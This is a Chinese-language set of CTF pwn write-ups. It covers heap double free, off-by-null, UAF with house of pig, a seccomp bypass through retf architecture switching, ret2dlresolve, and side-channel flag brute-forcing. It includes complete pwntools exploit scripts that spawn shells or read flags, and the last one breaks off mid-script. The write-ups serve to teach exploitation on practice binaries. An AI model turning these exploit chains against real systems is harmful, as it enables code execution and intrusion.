uint32_t width;
uint8_t font_color;
uint8_t back_color;
uint8_t pad[6];
uint8_t *table1;
uint8_t *table2;
uint32_t rainfall;
uint32_t speed;
uint8_t *func;
uint8_t *table3;
uint8_t *unknow1;
uint8_t *unknow2;
};

此时再看IDA的伪代码已经清晰了不少

XvX8kq.png

有三个功能

1
2
3
4
5
6
7
8
9
10
int menu()
{
putchar(10);
puts("MENU:");
puts("1. Config");
puts("2. PrintInfo");
puts("3. Raining~");
puts("4. Exit~");
return printf("ch> ");
}

看到config功能

XvvvYq.png

就是重新设置结构体的各项信息,注意到

1
v7 = (uint8_t *)realloc(a1->unknow1, v6 - 18);
1
void *realloc(void *ptr, size_t size)

当size为0时,即v6-18为0,realloc就相当于free的功能;而当size大于ptr指向chunk的size时,就会另外申请一块chunk,再将原有的chunk free掉。

config函数使用read函数读取的前18字节用于设置rain的各项参数,18字节之后用于设置table的字符集。

将config函数封装一下:

1
2
3
4
5
6
def config(heigh, width, front_color, back_color, rainfall, content):
io.sendlineafter('ch> ', '1')
payload = p32(heigh) + p32(width) + p8(front_color) + p8(back_color) + p32(rainfall)
payload = payload.ljust(18, 'a')
payload += content
io.sendafter('FRAME> ', payload)

PrintInfo功能就是调用sub_400E17进行输出,注意这里

XxPN3n.png

可以利用这里来泄露libc地址。

最后一个Raining函数,其实就是执行功能,满屏下雨,但当执行完raining之后

XxPT4H.png

rain执行完之后,会重新进行初始化。

整个利用思路就是,我们利用config功能先申请一个0x50的,chunk,然后realloc(v7,0)将其free,由于这道题目的libc版本存在tcache且不存在double free的检测,所以可以直接double free,然后rain一下就会重新初始化,从double free中的两个0x50的chunk中取出一个,接着我们调用config申请一个0x50的chunk,这样就会将double free中剩下的一个chunk取出来,实际上,初始化申请的chunk和我们用config申请的chunk是同一块chunk,然后

jiAbvT.png

config功能会从buf[18]开始,将之后的数据拷贝到v7中,而此时的v7和a1实际上是同一块chunk,所以从buf[18]开始的数据都会被存入a1中。后面会将userchunk,table1,table2都进行赋值,所以这三个指针我们无法控制。但在show函数中

jiE0MT.png

如果userchunk存在且userchunk指向的内存有值,才会输出userchunk的内容,否则就会输出table3的内容,我们只需要构造出userchunk指向的内存开头全为空字符,并将table3设置为某个函数的got表地址,就能够通过show功能得到libc地址。

jiE4sO.png

由于userchunk会指向rain这个结构体,所以我们只需要使buf[18]开头为空字符即可,然后将table3设置为atoi的got表地址,跟着show一下,就可以得到atoi的libc地址。

libc地址到手之后就可以计算出onegadget的地址,由于这个程序的show功能调用的是rain结构体中的函数指针,因此我们只需要将这个函数指针修改为onegadget的地址,再show就可以getshell。由于config申请chunk时用的是realloc函数

jiV9oj.png

如果我们申请的chunk和a1->userchunk指向的chunk大小相当的话,就不会再申请新的chunk。所以我们只需要构造好payload,将show指针修改为onegadget,并且payload大小为0x40到0x48之间,就会重新对a1->userchunk进行赋值。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from symtable import Symbol
from pwn import *
context.log_level='debug'
io=process('./rain')
elf=ELF('./rain')
libc=ELF('/usr/lib/freelibs/amd64/2.27-3ubuntu1.2_amd64/libc-2.27.so')

def config(heigh, width, front_color, back_color, rainfall, content):
io.sendlineafter('ch> ', '1')
payload = p32(heigh) + p32(width) + p8(front_color) + p8(back_color) + p32(rainfall)
payload=payload.ljust(18,'\x00')
payload += content
io.sendafter('FRAME> ', payload)

def show():
io.sendafter('ch> ', '2')

def raining():
io.sendafter('ch> ', '3')

config(0x50,0x50,1,2,64,'a'*0x48)
config(0x50,0x50,1,2,64,'')
config(0x50,0x50,1,2,64,'')

raining()
payload=p32(0)*2+p64(0x102)+p64(elf.got['atoi'])*2+p32(0x64)+p32(0xc350)+p64(0x400e17)+p64(elf.got['atoi'])*2
payload=payload.ljust(0x48,'a')
config(0x50,0x50,1,2,64,payload)
gdb.attach(io)
show()
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.symbols['atoi']
onegadget=libc_base+0x10a45c
payload=p32(0)*2+p64(0x102)+p64(elf.got['atoi'])*2+p32(0x64)+p32(0xc350)+p64(onegadget)+p64(elf.got['atoi'])*2
payload=payload.ljust(0x48,'a')
config(0x50,0x50,1,2,64,payload)
show()

io.interactive()
'''
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

0x8.QWB2021 baby_diary【off-by-null】

一共三个功能

jjbvpn.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void add()
{
signed int chunknum; // [rsp+4h] [rbp-Ch]
int num; // [rsp+8h] [rbp-8h]
int readnum; // [rsp+Ch] [rbp-4h]

for ( chunknum = 0; chunknum <= 24 && chunklists[chunknum]; ++chunknum )
;
if ( chunknum <= 24 )
{
printf("size: ");
num = read_num();
chunklists[chunknum] = malloc(num + 1);
if ( chunklists[chunknum] )
{
printf("content: ");
readnum = readstr(chunklists[chunknum], num, 10);
addchecknum(chunknum, readnum);
}
}
}

add功能能申请25个chunk,并且大小没有限制,需要注意的是,malloc的size是num+1,readstr函数存在会将输入的数据后面添加\x00,进行截断,由于num的原因,readstr并不会直接造成off-by-null,addchecknum函数才是导致off-by-null的真正原因。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void __fastcall sub_1528(unsigned int chunknum, int readnum)
{
char *chunkptr; // [rsp+10h] [rbp-8h]

if ( chunknum <= 0x18 && chunklists[chunknum] )
{
chunkptr = chunklists[chunknum];
readsize[chunknum] = readnum;
if ( readnum )
chunkptr[readnum + 1] = (chunkptr[readnum + 1] & 0xF0) + sub_146E(chunknum);
}
}
__int64 __fastcall sub_146E(unsigned int chunknum)
{
int i; // [rsp+10h] [rbp-14h]
unsigned int v3; // [rsp+14h] [rbp-10h]

if ( chunknum > 0x18 || !chunklists[chunknum] )
return 0xFFFFFFFFLL;
v3 = 0;
for ( i = 0; i < readsize[chunknum]; ++i )
v3 += (unsigned __int8)chunklists[chunknum][i];
while ( v3 > 0xF )
v3 = (v3 >> 4) + (v3 & 0xF);
return v3;
}

这个函数会在空字符的后面再追加一个校验码,当输入的数据全为空字符时,校验码为(chunkptr[readnum + 1] & 0xF0),会导致off-by-null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int show()
{
int result; // eax
int num; // [rsp+Ch] [rbp-4h]

printf("index: ");
num = read_num();
result = !sub_15DF(num);
if ( !(_BYTE)result )
return printf("content: %s\n", chunklists[num]);
return result;
}

_BOOL8 __fastcall sub_15DF(signed int num)
{
char v2; // bl
int size; // [rsp+Ch] [rbp-14h]

if ( num > 24 || !chunklists[num] )
return 0LL;
size = readsize[num];
if ( !size )
return 0LL;
v2 = chunklists[num][size + 1];
return ((v2 - (unsigned __int8)sub_146E(num)) & 1) == 0;
}

__int64 __fastcall sub_146E(unsigned int chunknum)
{
int i; // [rsp+10h] [rbp-14h]
unsigned int v3; // [rsp+14h] [rbp-10h]

if ( chunknum > 0x18 || !chunklists[chunknum] )
return 0xFFFFFFFFLL;
v3 = 0;
for ( i = 0; i < readsize[chunknum]; ++i )
v3 += (unsigned __int8)chunklists[chunknum][i];
while ( v3 > 0xF )
v3 = (v3 >> 4) + (v3 & 0xF);
return v3;
}

show功能在输出之前,会有一个检查,检查通过才输出。

dele功能正常。

这题是off-by-null的另一种考查方式,对于堆风水的构造要求更高。

高版本的off-by-null是利用smallbin和largebin的残留指针构造出fakechunk->fd->bk==fakechunk,fakechunk->bk->fd==fakechunk,来绕过unlink的检查。一般的off-by-null只会在末尾加\x00,但这一题除了末尾添\x00外,还会添一个校验码

下面是一般情况下的off-by-null的构造方式的开头

1
2
3
4
5
6
7
8
9
10
11
12
for i in range(7):
add(0x28,'chunk_' + str(64+i) + 'n') #用于填充tcache

add(0x5a8,'pad') #使堆地址对齐
add(0x5e0,'chunk_72' + 'n') #largebin
add(0x18,'chunk_73' + 'n') #防止largebin被topchunk合并
delete(72) #dele掉0x5e0的chunk,进入unsortedbin
add(0x618,'chunk_72' + 'n') #申请一个大于0x5e0的chunk,使其进入largebin,堆上留下了残留指针

add(0x28,'a'*8+p64(0xe1)+p8(0x90)) #chunk0 从largebin切割,在其中伪造一个0xe1的chunk,将fakechunk的fd指向chunk3
#在这里,我们除了要伪造fakechunk的size外,还要修改fd的末尾字节,如果使用这种方式来解决本题是行不通的,假设原本的fd为0x55abcdefgh10,将末尾修改为0x90后,fd就会变为0x55abcdgX0090,写入的校验码会破坏堆地址
....

并且fakechunk的size也只能为0x100的整数倍

伪造好的整体结构如下

jjO8yt.png

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
context.log_level='debug'
#io=remote('8.140.114.72',1399)
global io
elf=ELF('./baby_diary')
libc=ELF('/usr/lib/freelibs/amd64/2.31-0ubuntu9_amd64/libc-2.31.so')

def add(size,content):
io.recvuntil('>> ')
io.sendline('1')
io.recvuntil('size: ')
io.sendline(str(size-1))
io.recvuntil('content: ')
io.sendline(content)

def show(index):
io.recvuntil('>> ')
io.sendline('2')
io.recvuntil('index: ')
io.sendline(str(index))

def dele(index):
io.recvuntil('>> ')
io.sendline('3')
io.recvuntil('index: ')
io.sendline(str(index))

def pwn():
for i in range(7):
add(0x38,'a')

add(0x898,'pad') #7
add(0x6f8,'a') #8
add(0x18,'a') #9
dele(8)
add(0x700,'a') #8
add(0x38,'') #10
add(0x38,'aaaa')#11
add(0x38,'aaaa')#12
add(0x48,'')#13
add(0x38,'')#14
add(0x38,'')#15
add(0x38,'')#16
add(0x38,'')#17
for i in range(7):
dele(i)
dele(10)
dele(14)
for i in range(7):
add(0x38,'')
add(0x458,'')#10
add(0x38,p64(0xd0)) #14
add(0x38,'') #18
for i in range(7):
dele(i)
dele(18)
for i in range(7):
add(0x38,'')
add(0x400,'')#18
add(0x38,p64(0xb)+p64(0x201))#19
for i in range(7):
dele(i)
dele(12)
dele(19)
for i in range(7):
add(0x38,'')
add(0x38,'')#12
add(0x38,'')#19
dele(17)
add(0x38,p8(0)*0x37) #17
dele(17)
add(0x38,p8(0)*0x2f+p8(0x20))
#gdb.attach(io)
dele(10)#
add(0x28,'')
show(11)
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ebbe0
free_hook=libc_base+libc.symbols['__free_hook']
system_addr=libc_base+libc.symbols['system']
log.success('libc_base => {}'.format(hex(libc_base)))
dele(0)
dele(19)
add(0x78,'a'*0x38+p64(0x41)+p64(free_hook-8))
add(0x38,'a')
add(0x38,'/bin/sh\x00'+p64(system_addr))
dele(20)


io.interactive()

if __name__ == '__main__':
io=process('./baby_diary')
pwn()

0x9.QWB2021 shellcode【retf切换架构,侧信道爆破flag】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void __noreturn start()
{
......
v45 = 2147418112;
LOWORD(arg3[0]) = 9;
arg3[1] = (unsigned __int64)&v10;
v0 = sys_alarm(0x3Cu);
v1 = sys_prctl(38, 1uLL, 0LL, 0LL);
v3 = sys_prctl(22, 2uLL, (unsigned __int64)arg3, v2);
v4 = (char *)sys_mmap(0LL, 0x1000uLL, 7uLL, 0x22uLL, 0xFFFFFFFFuLL, 0LL);
v5 = sys_read(0, v4, 0x1000uLL);
v6 = v5;
if ( v4[(int)v5 - 1] == 10 )
{
v4[(int)v5 - 1] = 0;
v6 = v5 - 1;
}
for ( i = 0; i < v6; ++i )
{
if ( v4[i] <= 31 || v4[i] == '\x7F' )
goto LABEL_10;
}
((void (*)(void))v4)();
LABEL_10:
v8 = sys_exit_group(0);
}

开了沙箱,然后读取shellcode,shellcode必须是可见字符。

查看沙箱

1
2
3
4
5
6
7
8
9
10
11
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0008
0002: 0x15 0x05 0x00 0x00000025 if (A == alarm) goto 0008
0003: 0x15 0x03 0x00 0x00000004 if (A == stat) goto 0007
0004: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0008
0005: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0008
0006: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW

并没有限制架构,orw只有r。

fstat在64位下的调用号位5,而32位下系统调用号5是open,这样orw就只剩w没有了

蓝帽杯有一道题目考察的是shellcode盲注,也是没有w,通过盲注将flag爆破出来,这个思路也同样适用于本题,这样一来orw就都凑齐了

再有就是,从64位切换到32位需要使用retf这个指令,这个指令会跳转到[rsp]继续执行指令,将[rsp+8]放到CS寄存器,[rsp+8]为0x23时,切换到32位,为0x33时,切换到64位,整体思路为:

1.发送第一段shellcode,这段shellcode首先实现mmap功能,开辟一段内存方便64位和32位shellcode同时操作;然后实现read功能,用来读取第二段shellcode到mmap出来的内存中;最后执行retf指令切换到32位模式,并跳转到mmap出的那块内存执行第二段shellcode。

2.第二段shellcode在32位模式下执行,首先执行open系统调用,打开flag文件,然后执行retf指令,切换为64位模式,并跳转到一个地址执行剩下的shellcode,这个地址需要事先计算好;跳转过去之后执行的shellcode,执行read调用,将flag的值读取到栈顶,最后进入一个爆破shellcode,按字节爆破flag。

第一段shellcode需要为可见字符串,可以使用ae64或者alpha3来进行编码,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *
from ae64 import AE64
context.log_level='debug'
# io=process('./shellcode')

def pwn(io,idx,chr):
shellcode_mmap='''
/*mmap(0x20000,0x1000,7,34,0,0)*/
mov r9d, 0
mov r8d, 0xFFFFFFFF
mov r10d, 0x22
mov edx, 7
mov esi, 0x1000
mov edi, 0x20000
mov eax, 9
syscall
'''

shellcode_read='''
/*read(0,0x20000,0x70)*/
push 0x20000
pop rsi
push 0x70
pop rdx
xor rdi,rdi
xor rax,rax
syscall
'''

shellcode_read_flag_x64='''
mov rdi,rax
xor rax,rax
mov rsi,rsp
mov rdx,0x30
syscall

brute:
mov al,[rsp+%d]
cmp al,%d
jnz die
jmp brute

die:
mov al,[0]

'''%(idx,chr)

shellcode_retfq_to_x86='''
mov rax, 0x2300020000
push rax
retf
'''

shellcode_retfa_to_x64='''
push 0x33
push 0x20030
retf
'''

shellcode_open_x86='''
mov esp,0x200a0
/*open("flag",0)*/
push 0x67616c66
mov ebx, esp
xor ecx,ecx
xor edx,edx
mov eax,0x5
int 0x80
'''

shellcode=shellcode_mmap+shellcode_read+shellcode_retfq_to_x86
shellcode=asm(shellcode,arch='amd64',os='linux')
shellcode_x86=shellcode_open_x86+shellcode_retfa_to_x64
shellcode_x86=asm(shellcode_x86)
shellcode_x86=shellcode_x86.ljust(0x30,'\x90')
shellcode_x86+=asm(shellcode_read_flag_x64,arch='amd64')
encshellcode=AE64().encode(shellcode,'rbx')

try:
io.sendline(encshellcode)
sleep(0.1)
#gdb.attach(io)
io.send(shellcode_x86)
io.recv(timeout=1)
return True
except:
io.close()
return False

flag = ''
while len(flag)<0x30:
for C in range(0x20, 0x7F):
io=process('./shellcode')
if(pwn(io, len(flag), C)):
flag+=chr(C)
print(flag)
break

'''
flag = "flag"
hex_flag = ""
hex_sh = ""
for i in flag[::-1]:
hex_flag += str(hex(ord(i)))
for i in binsh[::-1]:
hex_sh += str(hex(ord(i)))
hex_flag = "0x"+hex_flag.replace("0x","")
'''

0xA.QWB2021 no_output【浮点异常触发,ret2dlresolve】

1
2
3
4
5
6
7
8
9
10
11
int sub_804930B()
{
int result; // eax

setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
result = open("real_flag.txt", 1);
flag_fd = result;
return result;
}

先初始化,打开flag文件

vp2cCt.png

然后往buf中读入0x30的数据,往src中读入0x20的数据,将src的数据拷贝到dest中

vp2hDg.png

dest的大小也为0x20,并且紧邻着flag_fd。

strcpy之后,就会从flag_fd中往src中读入0x20的数据

vp2zVJ.png

之后程序会比较src是否为hello_boy,不为hello_boy的话就退出。这里就需要通过strcpy将flag_fd覆盖为0,是我们能够往src中写入数据。

vpReVH.png

signal的handler函数是一个栈溢出函数,信号量8代表着浮点异常,通常无穷大除0可以触发浮点异常,不过这里除数不能为0,所以采用无穷小除负一来触发。触发之后进入一个很大的栈溢出

1
2
3
4
5
6
ssize_t sub_8049236()
{
char buf[68]; // [esp+0h] [ebp-48h] BYREF

return read(0, buf, 0x100u);
}

如题目所说,这题没有输出函数,所以使用ret2dlresolve。

pwntools很贴心的为我们准备好了ret2dl的构造模板,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level='debug'
context.arch='i386'
io=process('./test')
elf=ELF('./test')
rop=ROP('./test')

io.send('\x00'*0x10)
sleep(0.1)
#gdb.attach(io)
io.send('a'*0x20)
sleep(0.1)
io.send('hello_boy')
io.sendline('-2147483648')
sleep(0.1)
io.sendline('-1')

dl_resolve=Ret2dlresolvePayload(elf,symbol="system",args=['/bin/sh'])
rop.read(0,dl_resolve.data_addr)
rop.ret2dlresolve(dl_resolve)
info(rop.dump())
sleep(0.1)
io.send(fit({0x4c:rop.chain(),0x100:dl_resolve.payload}))#在0x4c处写入rop链,在0x100处写入dl_resolve的payload


io.interactive()

0xB.西湖论剑2021 Tiny_note 【UAF,tcache_perthread_struct控制,fastbin_reverse_into_tcache任意地址写,house of pig】

很牛逼的一题

vCyMFI.png

开了沙箱,四个功能

1
2
3
4
5
6
7
8
9
10
unsigned __int64 __fastcall sub_141E(size_t a1)
{
unsigned __int64 v2; // [rsp+10h] [rbp-10h]

v2 = (unsigned __int64)malloc(a1);
if ( (v2 & 0xFFFFFFFFFFFFF000LL) == unk_4038 )
return v2;
else
return 0LL;
}

add功能只允许申请0x10的chunk,而且只能申请序号为0到2的chunk(但这并不影响我们的利用,因为并不会检测序号是否已经使用,所以同一个序号能够申请任意数量的chunk)并且限制了申请到的堆地址在一页内,也就是说不能通过add功能申请到malloc_hook,free_hook或是其他一些常用的内存。

show功能通过write将chunk的内容输出来。

edit功能对chunk内容进行修改。

dele功能存在UAF漏洞。

这题无法任意地址分配,就只能用任意地址写来利用IO_FILE。通常我们的任意地址写是利用largebin attack或者smallbin attack来实现的,而这题只能申请0x20的chunk,该如何利用这么小的堆块实现任意地址写?

高版本libc有一个stash机制,就是当tcache没满并且fastbin有chunk时,从fastbin中取出一个chunk后,会将fastbin中剩下的chunk逆序放入tcache中,这种利用方法又叫做fastbin_reverse_into_tcache,一般是用来解除fastbin分配的地址限制。但除了能够达成任意内存申请的作用外,fastbin_reverse_into_tcache还能往任意内存中写入一个地址。

假设fastbin中存在这样一条链:chunk0->chunk1->chunk2->victim。tcache为空,当我们从fastbin中取出chunk0时,剩余的chunk就会被链入tcache中,变成如下所示:

tcache:victim->chunk2->chunk1.

也就是victim的fd指针会被设置为chunk2的地址(注意,libc2.32以上fd指针是加密的),bk指针会被写为tcache_struct的地址。也就是说,如果victim的地址为target,那么stash之后,target+0x10处就会被写入一个加密的堆地址 ,target+0x18处就会写入一个正常的堆地址,这样也就实现了一个任意地址写一个堆地址。剩下的就是打IO_FILE了。

整体思路为:

1.先通过uaf泄露堆地址,再通过uaf改大chunksize,得到libc地址。

2.通过uaf控制tcache_perthread_struct结构体,由于chunk大小只有0x10,所以我们要控制0x10的tcache的链表头和数量就需要两次uaf,分别控制链表头和链表数量。

3.由于高版本的libc下tcache的fd指针会被加密,所以不能用fd指针来任意地址写,只能用bk指针。但高版本的libc下tcache的写入需要0x10对齐,所以没办法直接往io_list_all中写入bk。io_list_all没法写,可以往chain中写,chain在IO_FILE中的偏移为0x68,io_list_all指向的是stderr的FILE结构体

1
2
pwndbg> p _IO_list_all 
$2 = (struct _IO_FILE_plus *) 0x7ffff7fb85e0 <_IO_2_1_stderr_>

将stderr结构体的chain修改为tcache_perthread_struct的地址,然后我们在tcache_perthread_struct中构造好FILE结构体的各项数据。

在这一步中使用fastbin_reverse_into_tcache,利用UAF将fastbin的最后一个chunk修改为&io_list_all+0x70,这样fastbin_reverse_into_tcache之后就会将stderr的chain修改为tcache_perthread_struct的地址。

4.house of pig。house of pig会申请一个chunk,这个chunk的大小为2*((fp)->_IO_buf_end - (fp)->_IO_buf_base)+ 100 ,至少为100,申请到这个chunk之后,如果_IO_buf_base指向的区域有数据,还会将这些数据拷贝到新的chunk中。确定好了要申请的chunk的大小后,修改tcache_perthread_struct中对应的tcache链表头为free_hook,然后再进行一些必要的设置,比如orw链的构造等等。

5.通过改小topchuhnk的size,并且将previnuse位置0,然后申请一个大于topchunk的size,触发io_str_overflow,进行house of pig

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
from pwn import *
context.log_level='debug'
io=process('./TinyNote')
libc=ELF('./libc-2.33.so')

def add(index):
io.recvuntil('Choice:')
io.send('1')
io.recvuntil('Index:')
io.send(str(index))

def edit(index,content):
io.recvuntil('Choice:')
io.send('2')
io.recvuntil('Index:')
io.send(str(index))
io.recvuntil('Content:')
io.send(content)

def show(index):
io.recvuntil('Choice:')
io.send('3')
io.recvuntil('Index:')
io.send(str(index))

def dele(index):
io.recvuntil('Choice:')
io.send('4')
io.recvuntil('Index:')
io.send(str(index))

add(0)
add(1)
dele(0)
show(0)
io.recvuntil('Content:')
heap_base=u64(io.recv(5).ljust(8,'\x00'))
heap_base=heap_base<<12
log.success('heap_base => {}'.format(hex(heap_base)))

dele(1)
heap_addr=heap_base+0x2b0
payload=heap_addr^(heap_base>>12)
edit(1,p64(payload))
add(1)
add(0)
edit(0,p64(0)+p64(0x421))
for i in range(0x21):
add(0)
dele(1)
show(1)
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1e0c00
log.success('libc_base => {}'.format(hex(libc_base)))
io_list_all_addr=libc_base+0x1e15c0
free_hook=libc_base+libc.symbols['__free_hook']
setcontext_addr=libc_base+libc.symbols['setcontext']
io_str_jumps_addr=libc_base+0x1e2560
pop_rsi=libc_base+0x000000000002a4cf
pop_rdi=libc_base+0x0000000000028a55
pop_rdx=libc_base+0x00000000000c7f32
ret=libc_base+0x0000000000026699
pcop=libc_base+0x14a0a0
open_addr=libc_base+libc.symbols['open']
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']

add(1)
add(0)
dele(0)
dele(1)
heap_addr=heap_base+0x10
payload=(heap_addr^((heap_base+0x2e0)>>12))
edit(1,p64(payload))
add(0)
add(0)
edit(0,p8(0))

add(1)
add(2)
dele(1)
edit(0,p8(2))
heap_addr=heap_base+0x90
payload=(heap_addr^((heap_base+0x300)>>12))
edit(1,p64(payload))
add(1)
add(1)
for i in range(8):
edit(0,p64(0))
add(2)
edit(0,p64(i))
dele(2)

payload=((io_list_all_addr+0x70)^((heap_base+0x410)>>12))
edit(2,p64(payload))
for i in range(6):
add(2)
edit(0,p64(7))
dele(2)
edit(0,p64(6-i))
edit(0,p64(0))
edit(1,p64(io_list_all_addr>>12))
add(2)
gdb.attach(io)
def change(addr,content):
edit(0,p64(1))
edit(1,p64(addr))
add(2)
edit(2,content)

length=0x2a0
start=heap_base+0x6c0
end = start + ((length) - 100)//2
change(heap_base+0x30,p64(1)+p64(heap_base+0x440))
change(heap_base+0x40,p64(0)+p64(start))
change(heap_base+0x50,p64(end))
change(heap_base+0x60,p64(0x10000))
change(heap_base+0xd0,p64(0))
change(heap_base+0xe0,p64(0)+p64(io_str_jumps_addr))
change(heap_base+0x1d0,p64(0)+p64(free_hook))
change(heap_base+0x6c0,p64(pcop)+p64(heap_base+0x440-0x20))
change(heap_base+0x440,p64(setcontext_addr+61))
change(heap_base+0x420+0xa0,p64(heap_base+0x4f0)+p64(ret))
change(heap_base+0x4f0,p64(pop_rdi)+p64(heap_base+0x6a0))
change(heap_base+0x500,p64(pop_rsi)+p64(0))
change(heap_base+0x510,p64(open_addr)+p64(pop_rdi))
change(heap_base+0x520,p64(3)+p64(pop_rsi))
change(heap_base+0x530,p64(heap_base+0x2a0)+p64(pop_rdx))
change(heap_base+0x540,p64(0x30)+p64(read_addr))
change(heap_base+0x550,p64(pop_rdi)+p64(1))
change(heap_base+0x560,p64(pop_rsi)+p64(heap_base+0x2a0))
change(heap_base+0x570,p64(write_addr))
change(heap_base+0x6a0,'./flag')

#pause()
edit(1,p64(free_hook))
edit(0,p64(1))
add(2)

io.interactive()

0xC.RCTF2020 no_write【magic_gadget,ret2csu,__strncmp_sse42进行侧信道爆破flag】

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp+0h] [rbp-10h] BYREF

init();
read_n(v4, 256LL);
return 0;
}

开了沙箱,不能getshell,有一个很大的溢出,没有任何输出函数

让人受益良多的一道题,pwn题的盲注。

首先,64位栈题下,永远不要忘了ret2csu(即万能gadget),这题的各种函数调用大都是通过ret2csu构造出来的。其次,__libc_start_main会在函数栈中写入initial和exit_funcs_lock的地址,如下图

vPGwdS.png

第三,利用一些magic_gadget,可以达成任意地址构造出任意值,这道题的magic_gadget如下

1
2
3
0x4005e8 <__do_global_dtors_aux+24>:	add    DWORD PTR [rbp-0x3d],ebx
0x4005eb <__do_global_dtors_aux+27>: nop DWORD PTR [rax+rax*1+0x0]
0x4005f0 <__do_global_dtors_aux+32>: repz ret

构造好rbp和rbp的值就能构造出任意值。

第四,如何得到flag。作为一个orw题目肯定需要open的,但此题不能泄露libc地址,该如何open?libc_start_main已经在栈上遗留下了libc地址,我们可以计算出syscall_ret的地址和其中一个libc地址的偏移量,再利用magic_gadget将这个偏移量加上去,那么栈中就有了syscall_ret的地址,我们直接系统调用open来打开flag,rax的构造就使用read函数,read的返回值就是存在rax中的,读入多少字符rax就为多少。open和read都有了,w是无论如何都出不来的,因为在沙箱里面只允许open和write系统调用。

怎么替代w,这里就可以像sql注入里的盲注一样,用strncmp来逐字节比较真实的flag和我们猜测的flag。实际上,strncmp调用的是__strncmp_sse42函数,我们需要构造出这个函数的地址,构造方法还是和构造syscall的方法一样。

有了比较函数,接下来还有一个问题,该如何得到比较结果?strncmp比较前n个字符是否一致,实际上也是从第一个字节开始逐字节比较

vP08JK.png

在本题中,bss段到0x602000就结束了,从0x602000开始往后就是未映射内存,无法访问,访问就会报错。基于这个前提,我们可以把需要比较的字符放在0x601fff处,然后用__strncmp_sse42一次比较两个字符,如果0x601fff处的字符和flag相同的话,就会继续比较0x602000处的字符和flag的下一个字符是否相同,但0x602000是无法访问的,此时程序就直接报错了,因此,可以从程序是否报错了来判断字符是否和flag相同。

整体思路为:栈迁移到bss段,在bss段中重启libc_start_main,在栈上得到libc地址,运用magic_gadget得到syscall和__strncmp_sse42的地址,再用open将rax设置为2,ret2csu系统调用open,随后将flag读取到bss段的某个位置,最后调用strncmp进行比较。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
import string
#context.log_level='debug'
elf=ELF('./no_write')

csu_pop=0x40076a
leave_ret=0x000000000040067c
call_libc_start_main=0x0000000000400544
pop_rdi=0x0000000000400773
pop_rsi_r15=0x0000000000400771
read_n=elf.symbols['read_n']
magic_gadget=0x4005e8
offset_init2strncmp=0x267600
offset_exit_funcs_lock2syscall=0x31dc53

def ret_csu(func,arg1,arg2,arg3):
payload=p64(0)+p64(1)+p64(func)
payload+=p64(arg1)+p64(arg2)+p64(arg3)
payload+=p64(0x400750)+p64(0)
return payload

def main():
flag=''
for i in range(0x30):
for j in '}{_'+string.digits+string.ascii_letters:
try:
io=process('./no_write')
payload='a'*0x18+p64(csu_pop)+ret_csu(elf.got['read'],0,0x601350,0x400)
payload+=p64(0)+p64(0x6013f8)+p64(0)*4+p64(leave_ret)
payload=payload.ljust(0x100,'\x00')
# gdb.attach(io)
# pause()
io.send(payload)
payload='\x00'*(0x100-0x50)
